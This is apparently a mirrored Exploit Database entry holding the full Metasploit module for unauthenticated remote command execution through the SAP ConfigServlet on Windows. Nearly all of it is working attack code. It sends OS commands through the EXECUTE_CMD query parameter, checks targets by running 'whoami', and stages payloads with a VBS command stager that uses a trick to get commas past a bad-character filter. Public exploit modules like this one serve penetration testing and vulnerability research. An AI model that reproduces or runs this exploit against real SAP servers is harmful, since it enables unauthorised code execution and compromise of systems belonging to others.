SAP ConfigServlet – Remote Payload Execution (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Andras Kabai
  日期： 2013-04-25
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/24996/

• require 'msf/core'
  
  class Metasploit3 < Msf::Exploit
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::CmdStagerVBS
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'=> 'SAP ConfigServlet Remote Code Execution',
  			'Description' => %q{
  				This module allows remote code execution via operating system commands through
  				the SAP ConfigServlet without any authentication.
  			},
  			'Author'=>
  				[
  					'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
  					'Andras Kabai' # Metasploit module
  				],
  			'License' => MSF_LICENSE,
  			'References'=>
  				[
  					[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
  				],
  			'DisclosureDate' => 'Nov 01 2012', # Based on the reference presentation
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[
  						'Windows generic',
  						{
  							'Arch' => ARCH_X86
  						}
  					]
  				],
  			'DefaultTarget'=> 0,
  			'Privileged' => false
  			))
  
  		register_options(
  			[
  				Opt::RPORT(50000),
  				OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
  			], self.class)
  	end
  
  	def check
  		uri = normalize_uri(target_uri.path, 'ConfigServlet')
  		res = send_evil_request(uri, "whoami", 20)
  		if !res
  			Exploit::CheckCode::Unknown
  		elsif res.body.include?("Process created")
  			Exploit::CheckCode::Vulnerable
  		else
  			Exploit::CheckCode::Safe
  		end
  	end
  
  	def exploit
  		print_status("#{rhost}:#{rport} - Exploiting remote system")
  		uri = normalize_uri(target_uri.path, 'ConfigServlet')
  
  		execute_cmdstager( { :linemax => 1500, :nodelete => true, :sap_configservlet_uri => uri })
  	end
  
  	def execute_command(cmd, opts)
  		commands = cmd.split(/&/)
  		commands.each do |command|
  			timeout = 20
  			if command.include?(".vbs") and command.include?(",")
  				# because the comma is bad character and the VBS stager contains commas it is necessary to "create" commas without directly using them
  				# using the following command line trick it is possible to echo commas into the right places
  				command.gsub!(",", "%i")
  				command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command
  			else
  				command = "cmd /c " + command
  			end
  			if command.include?("cscript")
  				# in case of bigger payloads the VBS stager could run for longer time as it needs to decode lot of data
  				# increaste timeout value when the VBS stager is called
  				timeout = 120
  			end
  			vprint_status("Attempting to execute: #{command}")
  			send_evil_request(opts[:sap_configservlet_uri], command, timeout)
  		end
  	end
  
  	def send_evil_request(uri, cmd, timeout)
  		begin
  			res = send_request_cgi(
  				{
  					'uri' => uri,
  					'method' => 'GET',
  					'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(cmd)
  				}, timeout)
  
  			if !res
  				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Exploit failed.")
  			end
  
  			if res.code != 200
  				vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
  				fail_with(Exploit::Failure::UnexpectedReply, "#{rhost}:#{rport} - Exploit failed.")
  			end
  		rescue ::Rex::ConnectionError
  			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the server.")
  		end
  
  		if not res.body.include?("Process created")
  			vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
  			fail_with(Exploit::Failure::PayloadFailed, "#{rhost}:#{rport} - Exploit failed.")
  		end
  		return res
  	end
  end